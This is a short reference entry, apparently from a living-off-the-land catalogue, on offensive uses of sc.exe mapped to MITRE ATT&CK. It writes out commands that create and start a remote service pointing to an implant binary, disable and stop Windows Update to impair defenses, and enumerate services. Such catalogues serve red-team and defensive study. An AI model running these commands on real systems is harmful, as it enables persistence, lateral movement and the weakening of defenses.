.. / sc.exe

Interact with the Service Control Manager database


Functions:
Type:
Toolsets:

Execute

Create service

sc.exe \\W10.ad.bitsadmin.com create MyService binpath= C:\Windows\implant.exe
Usecase
Create service pointing to implant binary

Mitre Att&ck

Disable service

sc.exe \\W10.ad.bitsadmin.com config wuauserv start= disabled
Usecase
Impair security defenses

Mitre Att&ck
T1489

Start service

sc.exe \\W10.ad.bitsadmin.com start MyService
Usecase
Launch implant

Mitre Att&ck
T1569.002

Stop service

sc.exe \\W10.ad.bitsadmin.com stop wuauserv
Usecase
Impair security defenses

Mitre Att&ck
T1489


Recon

List services

sc.exe \\W10.ad.bitsadmin.com query
Usecase
Reconnaissance of installed services

Mitre Att&ck
TA0043




Updated: 2023-07-01
Contributor: Arris Huijgen (bitsadmin)